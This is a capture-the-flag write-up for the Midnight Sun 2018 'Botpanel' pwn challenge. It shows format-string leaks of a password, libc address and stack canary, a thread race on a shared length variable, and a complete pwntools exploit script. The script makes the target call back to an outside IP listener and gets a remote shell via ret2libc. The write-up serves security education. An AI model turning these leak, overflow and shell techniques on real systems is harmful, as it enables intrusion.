Midnight Sun 2018 - Botpanel (Pwn)

NUS Greyhats bio photo By NUS Greyhats

Multiple vulnerabilties involving formats strings and unsafe threaded access to shared variables in a 32 bit ELF binary allows an attacker to obtain remote code execution on a remote system.

A format string vulnerability could be leveraged to leak sensitive information such as a password, libc addresses, stack canaries, and enable full access to the features. A second vulnerability leveraging shared variables between two threads allows the attacker to manipulate the amount of data read and execute a standard buffer overflow.

Challenge Description

These cyber criminals are selling shells like hot cakes off thier new site. Pwn
their botpanel for us so we can stop them

Service: nc pwn.midnightsunctf.se 31337 | nc 52.30.206.11 31337

Points

Points: 300

Solves: 19

Author: likvidera

Solution

First, there is a format string bug in the login:

		Panel password: %x.%x.%x.%x.%x
		Incorrect! 4 attempts left
		Your attempt was: 4.b.565560c0.5655b008.
		Panel password: 		Incorrect! 3 attempts left
		Your attempt was: 3
b.565560c0.5655b008.
		Panel password:

We can leverage this to leak the password from the server:

		Panel password: %7$s
		Incorrect! 4 attempts left
		Your attempt was: >@!ADMIN!@<
		Panel password:

Furthermore, we can get the return address from main in libc with %43$x and the stack canary with %15$x.

                Incorrect! 2 attempts left
%               Your attempt was: f75ea637
                Panel password: 15$x
                Incorrect! 1 attempts left
                Your attempt was: 22f5e800
                Panel password:

If we log in, we’d notice that the application is set to trial mode. This means that we can’t use the invite feature.

MENU [TRIAL MODE]
 1) Show available bots
 2) Send invite
 3) Send feedback
 4) Quit
>

The trial mode byte is checked and set here in the login function:

  if ( *(_BYTE *)(a2 + 1) == 'T' )
    trial_mode = 1;

To upgrade us to a full user, we can overwrite that address with anything apart from ‘T’.

To do this, we will just leverage the format string vulnerability to write there.

		Panel password: %6$n
		Incorrect! 4 attempts left
		Your attempt was:
		Panel password: >@!ADMIN!@<

MENU [REGISTERED MODE]
 1) Show available bots
 2) Send invite
 3) Send feedback
 4) Quit
>

Now, we can send invites to two listening netcat sessions.

MENU [REGISTERED MODE]
 1) Show available bots
 2) Send invite
 3) Send feedback
 4) Quit
> 2
Send an invite to a friendly blackhat!
IP:127.0.0.1

Port:1337

MENU [REGISTERED MODE]
 1) Show available bots
 2) Send invite
 3) Send feedback
 4) Quit
> 2
Send an invite to a friendly blackhat!
IP:127.0.0.1

Port:1336

MENU [REGISTERED MODE]
 1) Show available bots
 2) Send invite
 3) Send feedback
 4) Quit
>

We will receive a panel like this on the listeners:

$ nc -v -l -p 1337
Listening on [0.0.0.0] (family 0, port 1337)
Connection from [127.0.0.1] port 1337 [tcp/*] accepted (family 2, sport 60484)

MENU [REGISTERED MODE]
 1) Show available bots
 2) Send invite
 3) Send feedback
 4) Quit
>

There is a bug with handling feedback. This is the code from send_feedback:

unsigned int __cdecl send_feedback(int *a1)
{
  int v2; // [esp+14h] [ebp-44h]
  int v3; // [esp+18h] [ebp-40h]
  char v4; // [esp+1Ch] [ebp-3Ch]
  unsigned int v5; // [esp+4Ch] [ebp-Ch]

  v5 = __readgsdword(0x14u);
  v3 = 0;
  memset(&v4, 0, 0x30u);
  v2 = 0;
  sendstr(*a1, "\nFeedback length: ");
  len_2800 = get_int(a1);
  if ( (unsigned int)len_2800 <= 0x32 )
  {
    sendstr(*a1, "\nFeedback: ");
    recv_until(*a1, (int)&v3, len_2800, 10);
    sendstr(*a1, "\nEdit feedback y/n?: ");
    recv_until(*a1, (int)&v2, 2, 10);
    if ( (_BYTE)v2 == 'y' )
    {
      sendstr(*a1, "\nFeedback: ");
      recv_until(*a1, (int)&v3, len_2800, 10);
    }
  }
  else
  {
    sendstr(*a1, "\nFeedback length is incorrect!\n");
  }
  return __readgsdword(0x14u) ^ v5;
}

Since each session is running on a thread, they both share certain resources and variables such as the variable len_2800. This means that if we can interleave the order of which instructions get executed between the two sessions, we can potentially read as much data into the stack and control the instruction pointer. The stack canary will not pose a problem for us since we already leaked it with the format string vulnerability.

To perform the next step, we have to send feedback on both sessions. In the first session, we specify a legitimate length for the feedback and hold when it asks if we want to re-enter it.

MENU [REGISTERED MODE]
 1) Show available bots
 2) Send invite
 3) Send feedback
 4) Quit
> 3

Feedback length: 32

Feedback: AAAA

Edit feedback y/n?:

On the other session, we can specify a very large length to read and manipulate the len_2800 variable.

MENU [REGISTERED MODE]
 1) Show available bots
 2) Send invite
 3) Send feedback
 4) Quit
> 3

Feedback length: 999

Feedback length is incorrect!

MENU [REGISTERED MODE]
 1) Show available bots
 2) Send invite
 3) Send feedback
 4) Quit
>

Back on the first session, we can now overflow the stack buffer.

Edit feedback y/n?: y

Feedback: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

The program crashes:

MENU [REGISTERED MODE]
 1) Show available bots
 2) Send invite
 3) Send feedback
 4) Quit
> *** stack smashing detected ***: ./botpanel_e0117db42051bbbe6a9c5db571c45588 terminated
Aborted (core dumped)

The final exploit script:

from pwn import *
import time

context.log_level = "debug"

CALLBACK_IP = "192.241.156.223"
CALLBACK_PORT1 = 1337
CALLBACK_PORT2 = 1336

# Local Offsets
offset___libc_start_main_ret = 0x18637
offset_system = 0x0003ada0
offset_dup2 = 0x000d6310
offset_read = 0x000d5b00
offset_write = 0x000d5b70
offset_str_bin_sh = 0x15ba0b
offset_puts = 0x0005fca0
offset_exit = 0x0002e9d0
offset_read = 0x000d5b00

# Remote offsets
offset___libc_start_main_ret = 0x18637
offset_system = 0x0003a940
offset_dup2 = 0x000d4b50
offset_read = 0x000d4350
offset_write = 0x000d43c0
offset_str_bin_sh = 0x15902b
offset_puts = 0x0005f140
offset_exit = 0x0002e7b0
offset_read = 0x000d4350

# Password at %7$s
# Modify Trial at %6$n
# libc Leak at %43$x
# Canary Leak at %15$x

def main():
    #p = process(["./botpanel_e0117db42051bbbe6a9c5db571c45588", "0"])
    p = remote("52.30.206.11", 31337)

    payload_leak_password = "%7$s.AAA"
    p.sendline(payload_leak_password)
    p.recvuntil("Your attempt was: ")
    password = p.recvuntil(".AAA")[:-4]
    log.info("Password: '%s'." % password)

    payload_modify_trial = "%6$n.AAA"
    p.sendline(payload_modify_trial)
    p.recvuntil(".AAA")
    log.info("Upgraded to registered.")

    payload_leak_libc = "%43$x.AAA"
    p.sendline(payload_leak_libc)
    p.recvuntil("Your attempt was: ")
    libc_leak = int(p.recvuntil(".AAA")[:-4], 16)
    libc = libc_leak - offset___libc_start_main_ret
    system_addr = libc + offset_system
    binsh_addr = libc + offset_str_bin_sh
    exit_addr = libc + offset_exit
    log.info("Libc Base at 0x%x." % libc)
    log.info("system@Libc at 0x%x." % system_addr)
    log.info("'/bin/sh'@libc at 0x%x" % binsh_addr)
    log.info("exit@libc at 0x%x" % binsh_addr)

    payload_leak_canary = "%15$x.AAA"
    p.sendline(payload_leak_canary)
    p.recvuntil("Your attempt was: ")
    canary = int(p.recvuntil(".AAA")[:-4], 16)
    log.info("Canary is %x" % canary)

    p.sendline(password)
    p.recvuntil(">")
    log.info("Logged in.")

    r1 = listen(CALLBACK_PORT1)
    r2 = listen(CALLBACK_PORT2)
    log.info("Callback listeners set up.")

    time.sleep(0.5)

    p.sendline("2")
    p.recvuntil("IP:")
    p.sendline(CALLBACK_IP)
    p.recvuntil("Port:")
    p.sendline(str(CALLBACK_PORT1))
    p.recvuntil(">")
    log.info("Triggered an invite to %s:%d." % (CALLBACK_IP, CALLBACK_PORT1))

    p.sendline("2")
    p.recvuntil("IP:")
    p.sendline(CALLBACK_IP)
    p.recvuntil("Port:")
    p.sendline(str(CALLBACK_PORT2))
    p.recvuntil(">")
    log.info("Triggered an invite to %s:%d." % (CALLBACK_IP, CALLBACK_PORT2))

    r1.sendline("3")
    r1.recvuntil("Feedback length:")
    r1.sendline("32")
    r1.recvuntil("Feedback:")
    r1.sendline("AAAA")
    r1.recvuntil("Edit feedback y/n?:")
    log.info("Triggered a legitimate send feedback from R1. Waiting for R2.")

    r2.sendline("3")
    r2.recvuntil("Feedback length:")
    r2.send("9999")
    #r2.sendline("4")  # Remote server dies if thread exits
    log.info("R2 has overwritten the shared length.")

    r1.sendline("y")
    r1.recvuntil("Feedback:")
    payload = "A"*52
    payload += p32(canary)
    payload += "B"*12
    payload += p32(system_addr)
    payload += p32(exit_addr)
    payload += p32(binsh_addr)
    r1.sendline(payload)
    #r1.sendline("4")
    log.info("Overflow in R1 triggered.")

    p.recvrepeat(0.5)
    p.sendline("4")
    context.log_level = "info"
    log.success("Enjoy your shell.")

    p.interactive()


if __name__ == "__main__":
    main()

Running it:

...
[*] Overflow in R1 triggered.
[DEBUG] Sent 0x2 bytes:
    '4\n'
[+] Enjoy your shell.
[*] Switching to interactive mode
$ ls -la
total 52
drwxr-xr-x 1 root ctf   4096 Apr  7 15:31 .
drwxr-xr-x 1 root root  4096 Apr  7 15:31 ..
-rwxr-x--- 1 root ctf  28812 Apr  7 15:27 chall
-r--r----- 1 root ctf     13 Apr  7 15:27 config
-r--r----- 1 root ctf     52 Apr  7 15:27 flag
-rwxr-x--- 1 root ctf     39 Apr  7 15:27 redir.sh
$ cat flag
midnight{d0nt_d0_th3_cr1m3_1f_y0u_c4nt_d0_th3_t1m3}
$

Flag: midnight{d0nt_d0_th3_cr1m3_1f_y0u_c4nt_d0_th3_t1m3}